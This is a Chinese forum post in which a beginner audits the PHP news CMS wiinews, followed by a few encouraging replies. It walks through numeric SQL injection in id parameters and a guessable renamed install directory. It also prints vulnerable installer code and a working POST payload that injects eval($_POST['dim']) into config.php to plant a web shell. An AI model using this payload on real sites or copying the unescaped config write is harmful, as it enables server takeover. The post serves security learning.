初识代码审计之wiinews

0x00前言

前两天一直在读mvc框架的源码,初步读aacms,但是发现真的太难读,主要是自己的php功底还是太差,读起来吃力,所以先读一个比较简单的源码来练一练,这套源码之前也复现过漏洞,就是wiinews。在复现了漏洞之后,自己尝试用危险函数朔源的办法没有找到漏洞,所以尝试一下通读。另外我刚刚开始读学代码审计,这篇文章比较适合和我一样的小萌新看!

0x01 通读审计

观察结构

image
结构还是比较简单的,images放一些图片,inc放了些配置文件,__install504 放的是一些安装文件,这里是已经安装过后的文件名,在安装之前这里是install, 在安装了过后,他会进行重命名,wiinews里面放了一些admin的文件,安装的时候会让你给admin改名,我改的就是wiinews,然后其他的就是些入口的php文件。

sql注入

Ok,就让我们从index.php开始吧。


一进来就包含了两个文件,我们去看看
进去后发现 db_conn是一些数据库配置文件
image
__FILE__返回当前文件路径
Ob_start() 添加一个缓存
又包含了一个文件 conifg.php,去看一看
image
储存了数据库行户密码,后台目录等
再来看看getheader.php
image
获取请求头的一些数据,接下来又回到index.php
image
可以看到 17和 25 行是可能存在xss的,这里直接去找一下这个变量是否可控,用seay审计去搜一搜,搜到了在db_conn.php里面,不可控。又看到包含了header,

进去看了下就是输出标题!如果有log输出log,没什么问题。继续往下,
mysql_num_rows() 返回结果中行的数量,
mysql_fetch_assoc() 函数从结果集中取得一行作为关联数组
下来看到一处连接到 newsbysort.php (新闻排序),我们去看一看,在页面中就是
image
跟进 newbysort.php
image
可以看到对 id 就行了 sqlReplace()的过滤,跟进这个函数,
image
sqlReplece只是用了 addslashes() 函数对字符进行过滤,这样之过滤了引号和\,而且仅仅是这样是无法预防数字型的注入的。所以在newsbysort.php的查询是存在是注入的,这里之前也分析过。
image
image
从newsBysort.php 又一个连接到 newsDetail.php
image
这里依然存在sql注入。初步估计是只要id类型的都有注入,接下来就直接说发现的洞吧。

恶意代码植入导致 getshell

还记得我们进入index.php的时候的的代码吗?
image
这里为了不让别人访问,对install进行了改名,但是这个改名只是在后面加了个伪随机数,经过爆破就可随便得到。
简单的进行演示一下
image
接下来我们就可以快乐的去访问了!
image
点击下一步,
image
需要账号密码,这里可以进行爆破,失败时他会显示2001错误,数据库连接错误
image
密码正确时爆2006错误,请为install设置写权限
image
跟进install.php去查看一下报错的原因
image
在安装这套系统的时候,为了安全起见,willnews会让你改掉admin目录和自动重置 install目录,所以这里文件都不存在,肯定是无法读取的,所以我们是无法正常安装,但是整个安装进程是没有结束的,我们接着看其他。
install_finish.php

<?php
error_reporting(0);
$AdminUserName=trim($_POST["edtAdminUserName"]);
$AdminPassWord=trim($_POST["edtAdminPassWord"]);
$foldername=trim($_POST["edtAdminFolderName"]);
....
$db_host=trim($_POST["db_host"]);
$db_user=trim($_POST["db_user"]);
$db_name=trim($_POST["db_name"]);
$db_password=trim($_POST["db_password"]);
....
if(!mysql_connect($db_host,$db_user,$db_password)){
	echo("<p class='error'>错误:2012。意外错误!</p>");
}else{
	mysql_query("set names utf8");
if(!mysql_select_db($db_name)){
	echo("<p class='error'>错误:2013。意外错误!</p>");
}else{
	$rand=md5(uniqid(rand(),true));
	rename("../admin",$AdminFolderName);
	$files="../inc/config.php";
	$config_str  = "\n";
	$config_str .= "<?php";
	$config_str .= "\n";
	$config_str .= '$admin_dir= "'.$foldername.'";';
	$config_str .= "\n";
	$config_str .= "define('wiinews_id','".$rand."');";
	$config_str .= "\n";
	$config_str .= '?>';
	$fp=fopen($files,"a");
	fwrite($fp,$config_str);
	fclose($fp);
	....

这个文件漏洞就很明显了,它直接连接数据库然后(当然是知道账号密码情况下)写入管理员账号密码,接下来又将 folddername 写入配置文件,这样我们就可以恶意植入代码getshell
image
Payload:db_host=localhost&db_user=root&db_name=wiinews&db_password=root&edtAdminFolderName=";eval($_POST['dim']);//
接下来我们就可以用蚁剑连接了
image
但是这样造成的后果就是会把马插坏,因为找不到admin.php目录,但是我们任然时可以在蚁剑里操作的。

又一处sql注入

image
原理和之前一样,只不过在后台。。。,这个漏洞点好多文件都有,不再找了。

写在最后

代码审计刚开始读的时候真的很费力,不过我相信到后面会好起来。 这里想问各位师傅一个问题,代码审计一定要搞懂每一行代码吗?
另外之前在水区发了一篇求助,后来就再没在90发过了,统一向帮助我的师傅表示感谢,特别感谢 Mstir师傅 和 ghtwf01师傅!他们两个真的太好了!!! :sob: :sob: :sob:还有90真的而是个很棒的圈子 :grin: :smile: :smile:

4 个赞

不需要通读,但是代码少的话可以通读,理清框架逻辑更容易挖到漏洞。可以先写代码,写漏洞,然后再分析,然后通过cnvd的已知漏洞信息,自己下载代码审计如果能审计出来,证明至少有些基础了,针对每种漏洞反复审计,并编写poc和exp,假以时日审计能力定然有个质的提升,当然各种审计工具也要熟练掌握,最后一点,代码能力决定最终的上限,在这些都会的情况下可能会遇到一个瓶颈这时候可以补补代码能力,相信会有不一样的感悟。

2 个赞

明白了

感谢分享,我入门之后寸步难行。看了你的文章有些思考了。